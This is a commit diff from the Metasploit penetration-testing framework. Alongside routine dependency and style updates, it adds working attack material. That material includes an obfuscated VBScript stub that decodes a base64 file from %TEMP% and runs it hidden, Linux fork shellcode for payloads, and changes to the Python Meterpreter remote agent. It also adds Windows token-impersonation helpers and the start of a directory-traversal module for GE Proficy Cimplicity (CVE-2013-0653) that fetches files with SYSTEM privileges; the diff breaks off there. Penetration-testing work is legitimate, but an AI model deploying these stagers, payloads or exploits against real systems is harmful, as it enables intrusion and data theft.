Merge branch 'master' into spike/exe_generation
commit
e80cda4ace
5
Gemfile
5
Gemfile
|
@ -41,7 +41,7 @@ group :development, :test do
|
||||||
# 'FactoryGirl.' in factory definitions syntax.
|
# 'FactoryGirl.' in factory definitions syntax.
|
||||||
gem 'factory_girl', '>= 4.1.0'
|
gem 'factory_girl', '>= 4.1.0'
|
||||||
# running documentation generation tasks and rspec tasks
|
# running documentation generation tasks and rspec tasks
|
||||||
gem 'rake'
|
gem 'rake', '>= 10.0.0'
|
||||||
end
|
end
|
||||||
|
|
||||||
group :test do
|
group :test do
|
||||||
|
@ -51,11 +51,10 @@ group :test do
|
||||||
gem 'database_cleaner'
|
gem 'database_cleaner'
|
||||||
# testing framework
|
# testing framework
|
||||||
gem 'rspec', '>= 2.12'
|
gem 'rspec', '>= 2.12'
|
||||||
# add matchers from shoulda, such as query_the_database, which is useful for
|
|
||||||
# testing that the Msf::DBManager activation is respected.
|
|
||||||
gem 'shoulda-matchers'
|
gem 'shoulda-matchers'
|
||||||
# code coverage for tests
|
# code coverage for tests
|
||||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||||
|
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||||
gem 'simplecov', '0.5.4', :require => false
|
gem 'simplecov', '0.5.4', :require => false
|
||||||
# Manipulate Time.now in specs
|
# Manipulate Time.now in specs
|
||||||
gem 'timecop'
|
gem 'timecop'
|
||||||
|
|
62
Gemfile.lock
62
Gemfile.lock
|
@ -1,62 +1,58 @@
|
||||||
GEM
|
GEM
|
||||||
remote: http://rubygems.org/
|
remote: http://rubygems.org/
|
||||||
specs:
|
specs:
|
||||||
activemodel (3.2.13)
|
activemodel (3.2.14)
|
||||||
activesupport (= 3.2.13)
|
activesupport (= 3.2.14)
|
||||||
builder (~> 3.0.0)
|
builder (~> 3.0.0)
|
||||||
activerecord (3.2.13)
|
activerecord (3.2.14)
|
||||||
activemodel (= 3.2.13)
|
activemodel (= 3.2.14)
|
||||||
activesupport (= 3.2.13)
|
activesupport (= 3.2.14)
|
||||||
arel (~> 3.0.2)
|
arel (~> 3.0.2)
|
||||||
tzinfo (~> 0.3.29)
|
tzinfo (~> 0.3.29)
|
||||||
activesupport (3.2.13)
|
activesupport (3.2.14)
|
||||||
i18n (= 0.6.1)
|
i18n (~> 0.6, >= 0.6.4)
|
||||||
multi_json (~> 1.0)
|
multi_json (~> 1.0)
|
||||||
arel (3.0.2)
|
arel (3.0.2)
|
||||||
bourne (1.4.0)
|
|
||||||
mocha (~> 0.13.2)
|
|
||||||
builder (3.0.4)
|
builder (3.0.4)
|
||||||
database_cleaner (0.9.1)
|
database_cleaner (1.1.1)
|
||||||
diff-lcs (1.2.2)
|
diff-lcs (1.2.4)
|
||||||
factory_girl (4.2.0)
|
factory_girl (4.2.0)
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
i18n (0.6.1)
|
i18n (0.6.5)
|
||||||
json (1.7.7)
|
json (1.8.0)
|
||||||
metaclass (0.0.1)
|
|
||||||
metasploit_data_models (0.16.6)
|
metasploit_data_models (0.16.6)
|
||||||
activerecord (>= 3.2.13)
|
activerecord (>= 3.2.13)
|
||||||
activesupport
|
activesupport
|
||||||
pg
|
pg
|
||||||
mocha (0.13.3)
|
mini_portile (0.5.1)
|
||||||
metaclass (~> 0.0.1)
|
msgpack (0.5.5)
|
||||||
msgpack (0.5.4)
|
|
||||||
multi_json (1.0.4)
|
multi_json (1.0.4)
|
||||||
network_interface (0.0.1)
|
network_interface (0.0.1)
|
||||||
nokogiri (1.5.9)
|
nokogiri (1.6.0)
|
||||||
|
mini_portile (~> 0.5.0)
|
||||||
packetfu (1.1.8)
|
packetfu (1.1.8)
|
||||||
pcaprub (0.11.3)
|
pcaprub (0.11.3)
|
||||||
pg (0.15.1)
|
pg (0.16.0)
|
||||||
rake (10.0.4)
|
rake (10.1.0)
|
||||||
redcarpet (2.2.2)
|
redcarpet (3.0.0)
|
||||||
robots (0.10.1)
|
robots (0.10.1)
|
||||||
rspec (2.13.0)
|
rspec (2.14.1)
|
||||||
rspec-core (~> 2.13.0)
|
rspec-core (~> 2.14.0)
|
||||||
rspec-expectations (~> 2.13.0)
|
rspec-expectations (~> 2.14.0)
|
||||||
rspec-mocks (~> 2.13.0)
|
rspec-mocks (~> 2.14.0)
|
||||||
rspec-core (2.13.1)
|
rspec-core (2.14.5)
|
||||||
rspec-expectations (2.13.0)
|
rspec-expectations (2.14.2)
|
||||||
diff-lcs (>= 1.1.3, < 2.0)
|
diff-lcs (>= 1.1.3, < 2.0)
|
||||||
rspec-mocks (2.13.0)
|
rspec-mocks (2.14.3)
|
||||||
shoulda-matchers (1.5.2)
|
shoulda-matchers (2.3.0)
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
bourne (~> 1.3)
|
|
||||||
simplecov (0.5.4)
|
simplecov (0.5.4)
|
||||||
multi_json (~> 1.0.3)
|
multi_json (~> 1.0.3)
|
||||||
simplecov-html (~> 0.5.3)
|
simplecov-html (~> 0.5.3)
|
||||||
simplecov-html (0.5.3)
|
simplecov-html (0.5.3)
|
||||||
timecop (0.6.1)
|
timecop (0.6.3)
|
||||||
tzinfo (0.3.37)
|
tzinfo (0.3.37)
|
||||||
yard (0.8.5.2)
|
yard (0.8.7)
|
||||||
|
|
||||||
PLATFORMS
|
PLATFORMS
|
||||||
ruby
|
ruby
|
||||||
|
@ -74,7 +70,7 @@ DEPENDENCIES
|
||||||
packetfu (= 1.1.8)
|
packetfu (= 1.1.8)
|
||||||
pcaprub
|
pcaprub
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
rake
|
rake (>= 10.0.0)
|
||||||
redcarpet
|
redcarpet
|
||||||
robots
|
robots
|
||||||
rspec (>= 2.12)
|
rspec (>= 2.12)
|
||||||
|
|
4
HACKING
4
HACKING
|
@ -9,8 +9,8 @@ Code Style
|
||||||
In order to maintain consistency and readability, we ask that you
|
In order to maintain consistency and readability, we ask that you
|
||||||
adhere to the following style guidelines:
|
adhere to the following style guidelines:
|
||||||
|
|
||||||
- Hard tabs, not spaces
|
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||||
- Try to keep your lines under 100 columns (assuming four-space tabs)
|
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||||
- do; end instead of {} for a block
|
- do; end instead of {} for a block
|
||||||
- Always use str[0,1] instead of str[0]
|
- Always use str[0,1] instead of str[0]
|
||||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||||
|
|
|
@ -0,0 +1,49 @@
|
||||||
|
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
|
||||||
|
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
|
||||||
|
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
|
||||||
|
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
|
||||||
|
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
|
||||||
|
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
|
||||||
|
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
|
||||||
|
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
|
||||||
|
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
|
||||||
|
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
|
||||||
|
echo Set fs = CreateObject(scriptingFS) >>decode_stub
|
||||||
|
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
|
||||||
|
echo If file.Size Then >>decode_stub
|
||||||
|
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
|
||||||
|
echo data = fd.ReadAll >>decode_stub
|
||||||
|
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
|
||||||
|
echo data = Replace(data, vbCrLf, nil) >>decode_stub
|
||||||
|
echo data = base64_decode(data) >>decode_stub
|
||||||
|
echo fd.Close >>decode_stub
|
||||||
|
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
|
||||||
|
echo ofs.Write data >>decode_stub
|
||||||
|
echo ofs.close >>decode_stub
|
||||||
|
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
|
||||||
|
echo Else >>decode_stub
|
||||||
|
echo Wscript.Echo emptyString >>decode_stub
|
||||||
|
echo End If >>decode_stub
|
||||||
|
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||||
|
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||||
|
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||||
|
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||||
|
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||||
|
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||||
|
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||||
|
echo If Not w2 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||||
|
echo If Not w3 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||||
|
echo If Not w4 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||||
|
echo Next >>decode_stub
|
||||||
|
echo base64_decode = strOut >>decode_stub
|
||||||
|
echo End Function >>decode_stub
|
||||||
|
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||||
|
echo If Len(strIn) = 0 Then >>decode_stub
|
||||||
|
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||||
|
echo Else >>decode_stub
|
||||||
|
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||||
|
echo End If >>decode_stub
|
||||||
|
echo End Function >>decode_stub
|
|
@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_fs_file_expand_path(request, response):
|
def stdapi_fs_file_expand_path(request, response):
|
||||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
if path_tlv == '%COMSPEC%':
|
if has_windll:
|
||||||
if platform.system() == 'Windows':
|
path_out = (ctypes.c_char * 4096)()
|
||||||
result = 'cmd.exe'
|
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||||
else:
|
result = ''.join(path_out)[:path_out_len]
|
||||||
|
elif path_tlv == '%COMSPEC%':
|
||||||
result = '/bin/sh'
|
result = '/bin/sh'
|
||||||
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
|
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||||
result = '/tmp'
|
result = '/tmp'
|
||||||
else:
|
else:
|
||||||
result = os.getenv(path_tlv)
|
result = os.getenv(path_tlv, path_tlv)
|
||||||
if not result:
|
if not result:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_file_move(request, response):
|
||||||
|
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||||
|
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
|
os.rename(oldname, newname)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_fs_getwd(request, response):
|
def stdapi_fs_getwd(request, response):
|
||||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||||
|
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
|
||||||
m = hashlib.md5()
|
m = hashlib.md5()
|
||||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
m.update(open(path, 'rb').read())
|
m.update(open(path, 'rb').read())
|
||||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
|
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
|
||||||
m = hashlib.sha1()
|
m = hashlib.sha1()
|
||||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
m.update(open(path, 'rb').read())
|
m.update(open(path, 'rb').read())
|
||||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
|
|
|
@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
|
||||||
self.data_lock.acquire()
|
self.data_lock.acquire()
|
||||||
self.data += byte
|
self.data += byte
|
||||||
self.data_lock.release()
|
self.data_lock.release()
|
||||||
|
data = self.std.read()
|
||||||
self.data_lock.acquire()
|
self.data_lock.acquire()
|
||||||
self.data += self.std.read()
|
self.data += data
|
||||||
self.data_lock.release()
|
self.data_lock.release()
|
||||||
|
|
||||||
def is_read_ready(self):
|
def is_read_ready(self):
|
||||||
|
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
while self.running:
|
while self.running:
|
||||||
if len(select.select([self.socket], [], [], 0)[0]):
|
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||||
request = self.socket.recv(8)
|
request = self.socket.recv(8)
|
||||||
if len(request) != 8:
|
if len(request) != 8:
|
||||||
break
|
break
|
||||||
|
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
|
||||||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||||
resp += tlv_pack(reqid_tlv)
|
resp += tlv_pack(reqid_tlv)
|
||||||
|
|
||||||
if method_tlv['value'] in self.extension_functions:
|
handler_name = method_tlv['value']
|
||||||
handler = self.extension_functions[method_tlv['value']]
|
if handler_name in self.extension_functions:
|
||||||
|
handler = self.extension_functions[handler_name]
|
||||||
try:
|
try:
|
||||||
|
#print("[*] running method {0}".format(handler_name))
|
||||||
result, resp = handler(request, resp)
|
result, resp = handler(request, resp)
|
||||||
except Exception, err:
|
except Exception, err:
|
||||||
|
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||||
result = ERROR_FAILURE
|
result = ERROR_FAILURE
|
||||||
else:
|
else:
|
||||||
|
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||||
result = ERROR_FAILURE
|
result = ERROR_FAILURE
|
||||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||||
|
|
|
@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
|
||||||
next if @@credentials_skipped[fq_user]
|
next if @@credentials_skipped[fq_user]
|
||||||
next if @@credentials_tried[fq_user] == p
|
next if @@credentials_tried[fq_user] == p
|
||||||
|
|
||||||
datastore['USERNAME'] = u.to_s
|
|
||||||
datastore['PASSWORD'] = p.to_s
|
|
||||||
ret = block.call(u, p)
|
ret = block.call(u, p)
|
||||||
|
|
||||||
case ret
|
case ret
|
||||||
|
|
|
@ -128,10 +128,10 @@ module Auxiliary::Login
|
||||||
false
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
def password_prompt?
|
def password_prompt?(username=nil)
|
||||||
return true if(@recvd =~ @password_regex)
|
return true if(@recvd =~ @password_regex)
|
||||||
if datastore['USERNAME']
|
if username
|
||||||
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
|
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
|
||||||
end
|
end
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
|
@ -20,10 +20,16 @@ module Exploit::FileDropper
|
||||||
# @return [void]
|
# @return [void]
|
||||||
#
|
#
|
||||||
def on_new_session(session)
|
def on_new_session(session)
|
||||||
|
super
|
||||||
|
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if not @dropped_files or @dropped_files.empty?
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
@dropped_files.delete_if do |file|
|
@dropped_files.delete_if do |file|
|
||||||
win_file = file.gsub("/", "\\\\")
|
win_file = file.gsub("/", "\\\\")
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
|
@ -58,8 +64,6 @@ module Exploit::FileDropper
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
super
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -19,6 +19,13 @@ module Msf::Payload::Linux
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
|
Msf::OptBool.new('PrependFork',
|
||||||
|
[
|
||||||
|
false,
|
||||||
|
"Prepend a stub that executes: if (fork()) { exit(0); }",
|
||||||
|
"false"
|
||||||
|
]
|
||||||
|
),
|
||||||
Msf::OptBool.new('PrependSetresuid',
|
Msf::OptBool.new('PrependSetresuid',
|
||||||
[
|
[
|
||||||
false,
|
false,
|
||||||
|
@ -97,6 +104,17 @@ module Msf::Payload::Linux
|
||||||
|
|
||||||
# Prepend
|
# Prepend
|
||||||
|
|
||||||
|
if (datastore['PrependFork'])
|
||||||
|
pre << "\x6a\x02" +# pushb $0x2 #
|
||||||
|
"\x58" +# popl %eax #
|
||||||
|
"\xcd\x80" +# int $0x80 ; fork #
|
||||||
|
"\x85\xc0" +# test %eax,%eax #
|
||||||
|
"\x74\x06" +# jz 0xf #
|
||||||
|
"\x31\xc0" +# xor %eax,%eax #
|
||||||
|
"\xb0\x01" +# movb $0x1,%al ; exit #
|
||||||
|
"\xcd\x80" # int $0x80 #
|
||||||
|
end
|
||||||
|
|
||||||
if (datastore['PrependSetresuid'])
|
if (datastore['PrependSetresuid'])
|
||||||
# setresuid(0, 0, 0)
|
# setresuid(0, 0, 0)
|
||||||
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
||||||
|
@ -197,10 +215,8 @@ module Msf::Payload::Linux
|
||||||
"\xcd\x80" # int $0x80 #
|
"\xcd\x80" # int $0x80 #
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
# Handle all Power/CBEA code here
|
# Handle all Power/CBEA code here
|
||||||
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||||
|
|
||||||
# Prepend
|
# Prepend
|
||||||
|
|
||||||
|
@ -277,9 +293,21 @@ module Msf::Payload::Linux
|
||||||
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
||||||
"\x44\xff\xff\x02" # sc #
|
"\x44\xff\xff\x02" # sc #
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
if (test_arch.include?(ARCH_X86_64))
|
elsif (test_arch.include?(ARCH_X86_64))
|
||||||
|
|
||||||
|
if (datastore['PrependFork'])
|
||||||
|
# if (fork()) { exit(0); }
|
||||||
|
pre << "\x6a\x39" # push 57 ; __NR_fork #
|
||||||
|
pre << "\x58" # pop rax #
|
||||||
|
pre << "\x0f\x05" # syscall #
|
||||||
|
pre << "\x48\x85\xc0" # test rax,rax #
|
||||||
|
pre << "\x74\x08" # jz 0x08 #
|
||||||
|
pre << "\x48\x31\xff" # xor rdi,rdi #
|
||||||
|
pre << "\x6a\x3c" # push 60 ; __NR_exit #
|
||||||
|
pre << "\x58" # pop rax #
|
||||||
|
pre << "\x0f\x05" # syscall #
|
||||||
|
end
|
||||||
|
|
||||||
if (datastore['PrependSetresuid'])
|
if (datastore['PrependSetresuid'])
|
||||||
# setresuid(0, 0, 0)
|
# setresuid(0, 0, 0)
|
||||||
|
@ -389,8 +417,8 @@ module Msf::Payload::Linux
|
||||||
# Append exit(0)
|
# Append exit(0)
|
||||||
if (datastore['AppendExit'])
|
if (datastore['AppendExit'])
|
||||||
app << "\x48\x31\xff" # xor rdi,rdi #
|
app << "\x48\x31\xff" # xor rdi,rdi #
|
||||||
pre << "\x6a\x3c" # push 0x53 #
|
app << "\x6a\x3c" # push 0x3c #
|
||||||
pre << "\x58" # pop rax #
|
app << "\x58" # pop rax #
|
||||||
app << "\x0f\x05" # syscall #
|
app << "\x0f\x05" # syscall #
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -177,6 +177,71 @@ module Accounts
|
||||||
:integrity_label
|
:integrity_label
|
||||||
][enum_value - 1]
|
][enum_value - 1]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Gets an impersonation token from the primary token.
|
||||||
|
#
|
||||||
|
# @return [Fixnum] the impersonate token handle identifier if success, nil if
|
||||||
|
# fails
|
||||||
|
def get_imperstoken
|
||||||
|
adv = session.railgun.advapi32
|
||||||
|
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||||
|
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||||
|
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||||
|
|
||||||
|
pid = session.sys.process.open.pid
|
||||||
|
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||||
|
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||||
|
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||||
|
if it["return"] #if it fails return 0 for error handling
|
||||||
|
return it["DuplicateTokenHandle"]
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Gets the permissions granted from the Security Descriptor of a directory
|
||||||
|
# to an access token.
|
||||||
|
#
|
||||||
|
# @param [String] dir the directory path
|
||||||
|
# @param [Fixnum] token the access token
|
||||||
|
# @return [String, nil] a String describing the permissions or nil
|
||||||
|
def check_dir_perms(dir, token)
|
||||||
|
adv = session.railgun.advapi32
|
||||||
|
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||||
|
result = ""
|
||||||
|
|
||||||
|
#define generic mapping structure
|
||||||
|
gen_map = [0,0,0,0]
|
||||||
|
gen_map = gen_map.pack("L")
|
||||||
|
buffer_size = 500
|
||||||
|
|
||||||
|
#get Security Descriptor for the directory
|
||||||
|
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||||
|
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||||
|
sd = f["pSecurityDescriptor"]
|
||||||
|
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||||
|
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||||
|
elsif (f['GetLastError'] == 2)
|
||||||
|
vprint_error("The system cannot find the file specified: #{dir}")
|
||||||
|
return nil
|
||||||
|
else
|
||||||
|
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
#check for write access, called once to get buffer size
|
||||||
|
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||||
|
len = a["PrivilegeSetLength"]
|
||||||
|
|
||||||
|
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||||
|
if !r["return"] then return nil end
|
||||||
|
if r["GrantedAccess"] > 0 then result << "R" end
|
||||||
|
|
||||||
|
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||||
|
if !w["return"] then return nil end
|
||||||
|
if w["GrantedAccess"] > 0 then result << "W" end
|
||||||
|
end
|
||||||
|
|
||||||
end # Accounts
|
end # Accounts
|
||||||
end # Windows
|
end # Windows
|
||||||
end # Post
|
end # Post
|
||||||
|
|
|
@ -0,0 +1,145 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'uri'
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',
|
||||||
|
'Description' => %q{
|
||||||
|
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the
|
||||||
|
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM
|
||||||
|
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Unknown', # Vulnerability discovery
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2013-0653' ],
|
||||||
|
[ 'OSVDB', '89490' ],
|
||||||
|
[ 'BID', '57505' ],
|
||||||
|
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jan 22 2013'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(80),
|
||||||
|
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),
|
||||||
|
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
|
||||||
|
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
|
||||||
|
OptInt.new('DEPTH', [true, 'Traversal depth', 5])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def normalize_uri(*strs)
|
||||||
|
new_str = strs * "/"
|
||||||
|
|
||||||
